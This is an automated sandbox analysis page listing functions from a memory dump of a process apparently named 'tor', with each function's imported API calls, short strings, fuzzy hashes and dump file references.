Instruction ID: 4792bca913700c4607b646b3fe881cefc0cf3aef86b14343f424086be88e1b9b
Opcode Fuzzy Hash: f3c7597f6b91b78257b7d6d7cfd037667d59f36c02e13b8e3a3fd0374f10c09f
Instruction Fuzzy Hash: F6517BB4D05319DFCB50DFA8D588AAEBBF1BF48314F01842AE898A7351D374A984CF52

Uniqueness

Uniqueness Score: -1.00%

Function 014F85C2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 91stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 014F8625
strlen.MSVCRT ref: 014F8630
strlen.MSVCRT ref: 014F8640
__stack_chk_fail.LIBSSP-0 ref: 014F8724

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

strlen.MSVCRT ref: 014F8691

Part of subcall function 0141BDAF: __stack_chk_fail.LIBSSP-0 ref: 0141BDF2

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

8, xrefs: 014F8656
#, xrefs: 014F86A1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strlen$strrchr$abort
String ID: #$8
API String ID: 618459022-480278675
Opcode ID: a9331b29490fe8f4da8568a30e08e6f76b3c23dacaad8edc397e8925ee2f69de
Instruction ID: 95eb3dd620f9e1593164e362294038c71f3df61e2e08116534194423b939178c
Opcode Fuzzy Hash: a9331b29490fe8f4da8568a30e08e6f76b3c23dacaad8edc397e8925ee2f69de
Instruction Fuzzy Hash: 48419FB4908346DFCB94EFA9C48465EBBF4BF58354F40882EE8989B310E7389945CF52

Uniqueness

Uniqueness Score: -1.00%

Function 013B2F33 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B2F82
__stack_chk_fail.LIBSSP-0 ref: 013B3027

Part of subcall function 0163B31C: abort.MSVCRT ref: 0163B369
Part of subcall function 0163B31C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,013B1CAC), ref: 0163B37E

event_new.LIBEVENT-2-1-6 ref: 013B2FEE
event_add.LIBEVENT-2-1-6 ref: 013B3007

Part of subcall function 0163BD7E: event_base_loopbreak.LIBEVENT-2-1-6 ref: 0163BD9A
Part of subcall function 0163BD7E: __stack_chk_fail.LIBSSP-0 ref: 0163BDAB

Strings

shutdown_did_not_work_callback, xrefs: 013B2F6A
line should be unreached, xrefs: 013B2F62
src/or/main.c, xrefs: 013B2F56

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$event_addevent_base_loopbreakevent_new
String ID: line should be unreached$shutdown_did_not_work_callback$src/or/main.c
API String ID: 2573426020-4291710958
Opcode ID: 633b6e6239d169436af408aef12d8f5fb17dcb17c8dd62bcab7fb50be90ec385
Instruction ID: 660cc1bd43e936a8845c9c029102de6ce968e3c8fcc1f115237a40883cac24ee
Opcode Fuzzy Hash: 633b6e6239d169436af408aef12d8f5fb17dcb17c8dd62bcab7fb50be90ec385
Instruction Fuzzy Hash: 6E21E6B0904706DFCB50EFA9D88869EBBF4BF44354F40891DE8989B340E77895458F96

Uniqueness

Uniqueness Score: -1.00%

Function 01418139 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 315COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 01418358

Part of subcall function 01556922: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,01417EB3), ref: 0155694E

Part of subcall function 0156FF60: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01570CFA), ref: 0156FFB6
Part of subcall function 0156FF60: memset.MSVCRT ref: 0156FFD1
Part of subcall function 0156FF60: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,01570CFA), ref: 0156FFF3

Part of subcall function 0156FBDC: abort.MSVCRT ref: 0156FC2C
Part of subcall function 0156FBDC: __stack_chk_fail.LIBSSP-0 ref: 0156FD0B

memset.MSVCRT ref: 014184E4

Part of subcall function 0147E0C2: abort.MSVCRT ref: 0147E12D
Part of subcall function 0147E0C2: abort.MSVCRT ref: 0147E16C
Part of subcall function 0147E0C2: __stack_chk_fail.LIBSSP-0 ref: 0147E232

memcpy.MSVCRT ref: 0141867E

Part of subcall function 01556991: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0157EA86), ref: 015569C4

__stack_chk_fail.LIBSSP-0 ref: 01418742

Strings

[, xrefs: 014184C1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$memset$freememcpy
String ID: [
API String ID: 3629729561-784033777
Opcode ID: dd1048f45fe2cbf4e3cef625a6345d8e5befba48099a7819b1e0ece52503c30e
Instruction ID: d0dfd61c652057742c4e8d57f35f260c5035aa381938232ff46ae151e198cafc
Opcode Fuzzy Hash: dd1048f45fe2cbf4e3cef625a6345d8e5befba48099a7819b1e0ece52503c30e
Instruction Fuzzy Hash: FB02B3749053698FEB61DF18C884BDABBF0BF4A304F0484EAD888A7355D7759A84CF52

Uniqueness

Uniqueness Score: -1.00%

Function 01558F2D Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 174stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0155916C
strerror.MSVCRT ref: 01559184
__stack_chk_fail.LIBSSP-0 ref: 015591FE

Strings

$, xrefs: 01559156
localtime, xrefs: 015591A9
gmtime, xrefs: 015591B0

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failmemsetstrerror
String ID: $$gmtime$localtime
API String ID: 3752014611-1707309240
Opcode ID: 6a12274569ea0b1ee410de07d92475b54d857870b83f011356400481c27703bd
Instruction ID: 2caba429c68fa3a4711930773648b0a60ce0949b6207ffd5aab4a6d96e90df2e
Opcode Fuzzy Hash: 6a12274569ea0b1ee410de07d92475b54d857870b83f011356400481c27703bd
Instruction Fuzzy Hash: A59170B4A04209CFDB44DF98C498B9EBBF0BB09328F059559E854AB351C379E984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0157FDE5 Relevance: 10.7, APIs: 7, Instructions: 164COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0157FE42
abort.MSVCRT ref: 0157FE85
abort.MSVCRT ref: 0157FECC
abort.MSVCRT ref: 0157FF0E
__stack_chk_fail.LIBSSP-0 ref: 01580077

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0157FF70
SSL_write.SSLEAY32 ref: 0157FFE8

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr$L_write
String ID:
API String ID: 3615685619-0
Opcode ID: c84f1a4055d782403607fbc6b74dec8a04b769494f2e06a3ed3f8b9695b2a457
Instruction ID: d322bfb594cf711f8433625589050f7a68beaf810eda42173e4817a7ffeeff5f
Opcode Fuzzy Hash: c84f1a4055d782403607fbc6b74dec8a04b769494f2e06a3ed3f8b9695b2a457
Instruction Fuzzy Hash: 2E7117B4905306DFCB50EF69C98866EBBF0BF44218F10891EE8A49B351D738D945CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 015282EF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01528363
abort.MSVCRT ref: 015283B8
abort.MSVCRT ref: 0152840E

Strings

N/A, xrefs: 015282F2

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort
String ID: N/A
API String ID: 4206212132-2525114547
Opcode ID: f954b51632136ae49e6458ac9bf544e01f0d5c21522a0e8592a6272ae502eb0a
Instruction ID: fca262c6c695756b52d17d288ce1536bda4f70d14daf8ea342ade56403f6f762
Opcode Fuzzy Hash: f954b51632136ae49e6458ac9bf544e01f0d5c21522a0e8592a6272ae502eb0a
Instruction Fuzzy Hash: D841F6B5A04356DFCB40EFA8C98465EBBF1BF45318F45882AE8888B350E734E844DF12

Uniqueness

Uniqueness Score: -1.00%

Function 015811E3 Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

SSL_get_rbio.SSLEAY32 ref: 0158120F
BIO_number_read.LIBEAY32 ref: 01581217
SSL_get_wbio.SSLEAY32 ref: 01581228
BIO_f_buffer.LIBEAY32 ref: 01581235
BIO_next.LIBEAY32 ref: 01581244
BIO_number_written.LIBEAY32 ref: 0158125E
__stack_chk_fail.LIBSSP-0 ref: 01581322

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: L_get_rbioL_get_wbioO_f_bufferO_nextO_number_readO_number_written__stack_chk_fail
String ID:
API String ID: 2875750914-0
Opcode ID: 965eb203867e81901d99773d4205eb4eb1f23098c7138238831cbb6f11f8f00c
Instruction ID: 3bf9087872c80b8a7feb50d9d13fd8dd0b25bb2ac84fe447ece0096fb97d67a0
Opcode Fuzzy Hash: 965eb203867e81901d99773d4205eb4eb1f23098c7138238831cbb6f11f8f00c
Instruction Fuzzy Hash: 9E418DB4E012098FCB50DFADC48499EBBF1BF48310F108569E858EB315E330E9418FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0158037F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 015813C9: ERR_peek_error.LIBEAY32 ref: 015813E5
Part of subcall function 015813C9: __stack_chk_fail.LIBSSP-0 ref: 0158145C

SSL_set_info_callback.SSLEAY32(?,?,?,?,?,?,?,?,?,01580368), ref: 015803D3
SSL_set_verify.SSLEAY32(?,?,?,?,?,?,?,?,?,01580368), ref: 015803F1
SSL_ctrl.SSLEAY32(?,?,?,?,?,?,?,?,?,?,?,01580368), ref: 01580417

Part of subcall function 0157EF29: SSL_get_session.SSLEAY32 ref: 0157EF45
Part of subcall function 0157EF29: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0158042A), ref: 0157EFB0

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

SSL_set_cipher_list.SSLEAY32(?,?,?,?,?,?,?,?,?,01580368), ref: 015804D6
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,01580368), ref: 0158053C

Strings

N, xrefs: 0158040C

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$L_ctrlL_get_sessionL_set_cipher_listL_set_info_callbackL_set_verifyR_peek_error
String ID: N
API String ID: 4011390425-1130791706
Opcode ID: 5e97828d33e20e6cfaa33399d8135a1daa8642f65d844d16277c5376d6e4f9a4
Instruction ID: 11c21613045e959ae3dbda34c5f90027775cdd019fb3ac4a4b490591099ff1f2
Opcode Fuzzy Hash: 5e97828d33e20e6cfaa33399d8135a1daa8642f65d844d16277c5376d6e4f9a4
Instruction Fuzzy Hash: 4D41C1B09093469FDB40EF69D55866EBFE0BF80314F058849E8A49F291C7B8D849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 014086FC Relevance: 10.6, APIs: 7, Instructions: 99stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0140874C
abort.MSVCRT ref: 01408792
strlen.MSVCRT ref: 014087A0
abort.MSVCRT ref: 014087E0
abort.MSVCRT ref: 0140882B
abort.MSVCRT ref: 0140887F
__stack_chk_fail.LIBSSP-0 ref: 0140889C

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr$strlen
String ID:
API String ID: 3016691441-0
Opcode ID: 4deb2b79e16cc439d27cc44bb7c61c6c7ee807b0500670b8fec577fb7d25de17
Instruction ID: e73d46109d3ec89fc76a4432e8fae548fb14bcb4d23f9d648efb3aa24bd63f06
Opcode Fuzzy Hash: 4deb2b79e16cc439d27cc44bb7c61c6c7ee807b0500670b8fec577fb7d25de17
Instruction Fuzzy Hash: 464129B59083039FCB40BF65C9446AFBBE4BF40248F45886EE8D49B251EA38D585DF62

Uniqueness

Uniqueness Score: -1.00%

Function 01589D97 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,014F7EEC), ref: 01589DF9

Part of subcall function 0160A611: __stack_chk_fail.LIBSSP-0 ref: 0160A681

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,014F7EEC), ref: 01589E38
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,014F7EEC), ref: 01589E85
SHA256.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,014F7EEC), ref: 01589EAB
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,014F7EEC), ref: 01589F06

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

, xrefs: 01589ECB

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr$A256
String ID:
API String ID: 469289166-3916222277
Opcode ID: 0f97fdd9a34dedb047c2a8da145ed27804dfba914f01f8e3c2a8d7d940e59e2e
Instruction ID: 0556eba60105b52acd146f27029d83dcd3805bc504e83424877cf1ae3023caa4
Opcode Fuzzy Hash: 0f97fdd9a34dedb047c2a8da145ed27804dfba914f01f8e3c2a8d7d940e59e2e
Instruction Fuzzy Hash: D941FAB4905316DFCF40EFA5C9482AEBBF0BF84258F41891EE894AB240D778C585DF62

Uniqueness

Uniqueness Score: -1.00%

Function 013B3055 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B30A5

Part of subcall function 0155D522: __stack_chk_fail.LIBSSP-0 ref: 0155D581

abort.MSVCRT ref: 013B30EC
__stack_chk_fail.LIBSSP-0 ref: 013B318C

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

